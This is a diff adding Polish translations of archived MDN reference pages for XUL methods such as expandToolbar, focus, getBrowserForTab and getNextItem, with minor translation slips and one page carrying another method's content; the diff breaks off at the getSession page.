+++ b/files/pl/mozilla/tech/xul/metoda/expandtoolbar/index.html
@@ -0,0 +1,18 @@
+---
+title: expandToolbar
+slug: Mozilla/Tech/XUL/Metoda/expandToolbar
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/expandToolbar
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-expandToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/expandToolbar">expandToolbar( toolbar )</a></code></span>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Rozwija dany <var>toolbar</var>, który powinien być zawarty w <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/extra1/index.html b/files/pl/mozilla/tech/xul/metoda/extra1/index.html
new file mode 100644
index 0000000000..de063ca42d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/extra1/index.html
@@ -0,0 +1,17 @@
+---
+title: extra1
+slug: Mozilla/Tech/XUL/Metoda/extra1
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/extra1
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-extra1"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/extra1">extra1()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołanie tej metody symuluje naciśnięcie dodatkowego przycisku (&lt;tt&gt;extra1&lt;/tt&gt;). Kod w atrybucie <code id="a-onextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra1">onextra1</a></code> zostanie wywołany.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/extra2/index.html b/files/pl/mozilla/tech/xul/metoda/extra2/index.html
new file mode 100644
index 0000000000..7b2939494a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/extra2/index.html
@@ -0,0 +1,17 @@
+---
+title: extra2
+slug: Mozilla/Tech/XUL/Metoda/extra2
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/extra2
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-extra2"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/extra2">extra2()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Wywołanie tej metody symuluje naciśnięcie dodatkowego przycisku (&lt;tt&gt;extra2&lt;/tt&gt;). Kod w atrybucie <code id="a-onextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onextra2">onextra2</a></code> zostanie wywołany.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/focus/index.html b/files/pl/mozilla/tech/xul/metoda/focus/index.html
new file mode 100644
index 0000000000..eaf8f68217
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/focus/index.html
@@ -0,0 +1,18 @@
+---
+title: focus
+slug: Mozilla/Tech/XUL/Metoda/focus
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/focus
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Przydziela <i>fokus</i> do elementu, jeśli może być <i>fokus</i> zaakceptowany. Uchwyt obiektu <code>onfocus</code> jest wywołany.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getbrowserfordocument/index.html b/files/pl/mozilla/tech/xul/metoda/getbrowserfordocument/index.html
new file mode 100644
index 0000000000..b454173534
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getbrowserfordocument/index.html
@@ -0,0 +1,21 @@
+---
+title: getBrowserForDocument
+slug: Mozilla/Tech/XUL/Metoda/getBrowserForDocument
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getBrowserForDocument
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getBrowserForDocument"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getBrowserForDocument">getBrowserForDocument( document )</a></code></span></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> dla określonego dokumentu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getbrowserfortab/index.html b/files/pl/mozilla/tech/xul/metoda/getbrowserfortab/index.html
new file mode 100644
index 0000000000..df231cfc2e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getbrowserfortab/index.html
@@ -0,0 +1,17 @@
+---
+title: getBrowserForTab
+slug: Mozilla/Tech/XUL/Metoda/getBrowserForTab
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getBrowserForTab
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getBrowserForTab"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getBrowserForTab">getBrowserForTab( tab )</a></code></span>
+</dt><dd> Typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+</dd><dd> Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> dla określonego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getbutton/index.html b/files/pl/mozilla/tech/xul/metoda/getbutton/index.html
new file mode 100644
index 0000000000..088656af89
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getbutton/index.html
@@ -0,0 +1,17 @@
+---
+title: getButton
+slug: Mozilla/Tech/XUL/Metoda/getButton
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getButton
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getButton"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getButton">getButton( typ )</a></code></span>
+</dt><dd> Zwraca typ: <i>element button</i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code> o zadanym typie, znajdujący się w okienku dialogowym.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getdefaultsession/index.html b/files/pl/mozilla/tech/xul/metoda/getdefaultsession/index.html
new file mode 100644
index 0000000000..dff9f56348
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getdefaultsession/index.html
@@ -0,0 +1,17 @@
+---
+title: getDefaultSession
+slug: Mozilla/Tech/XUL/Metoda/getDefaultSession
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getDefaultSession
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getDefaultSession"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getDefaultSession">getDefaultSession</a></code></span>
+</dt><dd> Zwraca typ: <i>nazwa sesji</i>
+</dd><dd> Zwraca nazwę pierwszej sesji z dostępnych rezultatów.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/geteditor/index.html b/files/pl/mozilla/tech/xul/metoda/geteditor/index.html
new file mode 100644
index 0000000000..7cac0ec61e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/geteditor/index.html
@@ -0,0 +1,17 @@
+---
+title: getEditor
+slug: Mozilla/Tech/XUL/Metoda/getEditor
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getEditor
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getEditor"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getEditor">getEditor( window )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIEditor">nsIEditor</a></i>
+</dd><dd> Zwraca interfejs edycji dla edytora, który zawiera szereg metod pozwalających na manipulację dokumentem. Jako argument należy przekazać <code>contentWindow</code> edytora.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getelementsbyattribute/index.html b/files/pl/mozilla/tech/xul/metoda/getelementsbyattribute/index.html
new file mode 100644
index 0000000000..69617d4739
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getelementsbyattribute/index.html
@@ -0,0 +1,18 @@
+---
+title: getElementsByAttribute
+slug: Mozilla/Tech/XUL/Metoda/getElementsByAttribute
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getElementsByAttribute
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute( attrib, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>DOM NodeList</i>
+</dd><dd> Zwraca tablicę wszystkich elementów potomnych elementu, które posiadają dany atrybut poprzez ustawienie danej wartości poprzez drugi argument. Jeśli drugi argument jest '*', to atrybut może mieć ustawioną jakąkolwiek wartość.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/gethtmleditor/index.html b/files/pl/mozilla/tech/xul/metoda/gethtmleditor/index.html
new file mode 100644
index 0000000000..35e3c2a94c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/gethtmleditor/index.html
@@ -0,0 +1,17 @@
+---
+title: getHTMLEditor
+slug: Mozilla/Tech/XUL/Metoda/getHTMLEditor
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getHTMLEditor
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getHTMLEditor"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getHTMLEditor">getHTMLEditor( window )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIHTMLEditor">nsIHTMLEditor</a></i>
+</dd><dd> Zwraca interfejs edycji HTML dla edytora, który zawiera szereg <a class="external" href="http://www.xulplanet.com/references/xpcomref/comps/c_editorhtmleditor1.html">metod</a> pozwalających na manipulację dokumentem HTML. Jako argument należy przekazać <code>contentWindow</code> edytora.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getindexoffirstvisiblerow/index.html b/files/pl/mozilla/tech/xul/metoda/getindexoffirstvisiblerow/index.html
new file mode 100644
index 0000000000..da9e3fc3e3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getindexoffirstvisiblerow/index.html
@@ -0,0 +1,17 @@
+---
+title: getIndexOfFirstVisibleRow
+slug: Mozilla/Tech/XUL/Metoda/getIndexOfFirstVisibleRow
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getIndexOfFirstVisibleRow
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getNumberOfVisibleRows"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNumberOfVisibleRows">getNumberOfVisibleRows()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca liczbę wierszy, które są aktualnie widoczne dla użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getindexofitem/index.html b/files/pl/mozilla/tech/xul/metoda/getindexofitem/index.html
new file mode 100644
index 0000000000..c0c6fbfbab
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getindexofitem/index.html
@@ -0,0 +1,17 @@
+---
+title: getIndexOfItem
+slug: Mozilla/Tech/XUL/Metoda/getIndexOfItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getIndexOfItem
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getIndexOfItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getIndexOfItem">getIndexOfItem( item )</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca od zera pozycję określonych pozycji. Pozycje są numerowane zaczynając od pierwszej wyświetlanej pozycji na liście.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getitematindex/index.html b/files/pl/mozilla/tech/xul/metoda/getitematindex/index.html
new file mode 100644
index 0000000000..e52b2bc80f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getitematindex/index.html
@@ -0,0 +1,17 @@
+---
+title: getItemAtIndex
+slug: Mozilla/Tech/XUL/Metoda/getItemAtIndex
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getItemAtIndex
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getItemAtIndex"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getItemAtIndex">getItemAtIndex( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Zwraca element, który jest o określonym indeksie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getnextitem/index.html b/files/pl/mozilla/tech/xul/metoda/getnextitem/index.html
new file mode 100644
index 0000000000..e8f115b408
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getnextitem/index.html
@@ -0,0 +1,17 @@
+---
+title: getNextItem
+slug: Mozilla/Tech/XUL/Metoda/getNextItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getNextItem
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getNextItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNextItem">getNextItem( startItem, delta )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Metoda ta zwraca pozycję danej odległości (delta) po określonym <code>startItem</code> lub zwraca <code>null</code>, jeśli takiej pozycja nie istnieje. Ten przykład będzie zwracał pozycję dwa wiersze po <var>jakiejśPozycji</var>: <code>getNextItem ( someItem, 2 );</code>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getnotificationbox/index.html b/files/pl/mozilla/tech/xul/metoda/getnotificationbox/index.html
new file mode 100644
index 0000000000..63de0af7bc
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getnotificationbox/index.html
@@ -0,0 +1,21 @@
+---
+title: getNotificationBox
+slug: Mozilla/Tech/XUL/Metoda/getNotificationBox
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getNotificationBox
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getNotificationBox"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNotificationBox">getNotificationBox( browser )</a></code></span></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code></i>
+ </dd>
+ <dd>
+ Zwraca <code><a href="/pl/docs/Mozilla/Tech/XUL/notificationbox" title="notificationbox">notificationbox</a></code> dla określonego elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getnumberofvisiblerows/index.html b/files/pl/mozilla/tech/xul/metoda/getnumberofvisiblerows/index.html
new file mode 100644
index 0000000000..600ef7d38b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getnumberofvisiblerows/index.html
@@ -0,0 +1,17 @@
+---
+title: getNumberOfVisibleRows
+slug: Mozilla/Tech/XUL/Metoda/getNumberOfVisibleRows
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getNumberOfVisibleRows
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getNumberOfVisibleRows"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getNumberOfVisibleRows">getNumberOfVisibleRows()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca liczbę wierszy, które są aktualnie widoczne dla użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getpagebyid/index.html b/files/pl/mozilla/tech/xul/metoda/getpagebyid/index.html
new file mode 100644
index 0000000000..7132d5158e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getpagebyid/index.html
@@ -0,0 +1,17 @@
+---
+title: getPageById
+slug: Mozilla/Tech/XUL/Metoda/getPageById
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getPageById
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getPageById"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getPageById">getPageById( pageID )</a></code></span>
+</dt><dd> Zwraca typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+</dd><dd> Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code> przesyłając go do określonej <var>pageID</var>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getpreviousitem/index.html b/files/pl/mozilla/tech/xul/metoda/getpreviousitem/index.html
new file mode 100644
index 0000000000..81ac9d8ae2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getpreviousitem/index.html
@@ -0,0 +1,17 @@
+---
+title: getPreviousItem
+slug: Mozilla/Tech/XUL/Metoda/getPreviousItem
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getPreviousItem
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getPreviousItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getPreviousItem">getPreviousItem( startItem, delta )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Metoda zwraca pozycję danej odległości (delta) przed określonym <code>startItem</code> lub zwraca <code>null</code>, jeśli taka pozycja nie istnieje. Ten przykład zwróci pozycje pięć wierszy przed <var>someItem</var>: <code>getPreviousItem ( someItem, 5 );</code>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getresultat/index.html b/files/pl/mozilla/tech/xul/metoda/getresultat/index.html
new file mode 100644
index 0000000000..6e29d9b53c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getresultat/index.html
@@ -0,0 +1,17 @@
+---
+title: getResultAt
+slug: Mozilla/Tech/XUL/Metoda/getResultAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getResultAt
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getResultAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultAt">getResultAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i><a href="pl/NsIAutoCompleteItem">nsIAutoCompleteItem</a></i>
+</dd><dd> Zwraca wynik pozycji w określonym indeksie. Pozycja będzie wartością typu <a href="pl/NsIAutoCompleteItem">nsIAutoCompleteItem</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getresultcount/index.html b/files/pl/mozilla/tech/xul/metoda/getresultcount/index.html
new file mode 100644
index 0000000000..e767a660e4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getresultcount/index.html
@@ -0,0 +1,17 @@
+---
+title: getResultCount
+slug: Mozilla/Tech/XUL/Metoda/getResultCount
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getResultCount
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getResultCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultCount">getResultCount( session )</a></code></span>
+</dt><dd> Zwraca typ:: <i>???</i>
+</dd><dd> Zwraca liczbę rezultatów (Argument <var>session</var> jest is obecnie ignorowany).
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getresultvalueat/index.html b/files/pl/mozilla/tech/xul/metoda/getresultvalueat/index.html
new file mode 100644
index 0000000000..ccbda65b7c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getresultvalueat/index.html
@@ -0,0 +1,21 @@
+---
+title: getResultValueAt
+slug: Mozilla/Tech/XUL/Metoda/getResultValueAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getResultValueAt
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getResultValueAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getResultValueAt">getResultValueAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ wartość wyniku</i>
+ </dd>
+ <dd>
+ Zwraca wartość wyniku w określonym indeksie. Pozycja będzie przesłana do tekstu tej pozycji, która pojawi się w okienku wyskakującym (popup).</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getrowcount/index.html b/files/pl/mozilla/tech/xul/metoda/getrowcount/index.html
new file mode 100644
index 0000000000..397ff26de7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getrowcount/index.html
@@ -0,0 +1,18 @@
+---
+title: getRowCount
+slug: Mozilla/Tech/XUL/Metoda/getRowCount
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getRowCount
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-getRowCount"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getRowCount">getRowCount()</a></code></span>
+</dt><dd> Zwraca typ: <i>integer</i>
+</dd><dd> Zwraca ogólną liczbę wierszy w elemencie, nieważne ile wierszy jest wyświetlanych.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsearchat/index.html b/files/pl/mozilla/tech/xul/metoda/getsearchat/index.html
new file mode 100644
index 0000000000..5c467dab57
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsearchat/index.html
@@ -0,0 +1,21 @@
+---
+title: getSearchAt
+slug: Mozilla/Tech/XUL/Metoda/getSearchAt
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSearchAt
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-getSearchAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getSearchAt">getSearchAt( index )</a></code></span></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca komponent szukania z danym indeksem. Komponenty są ustawiane z atrybutem <code id="a-autocompletesearch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearch">autocompletesearch</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/getsession/index.html b/files/pl/mozilla/tech/xul/metoda/getsession/index.html
new file mode 100644
index 0000000000..1e482c99ec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/getsession/index.html
@@ -0,0 +1,21 @@
+---
+title: getSession
+slug: Mozilla/Tech/XUL/Metoda/getSession
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/getSession
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
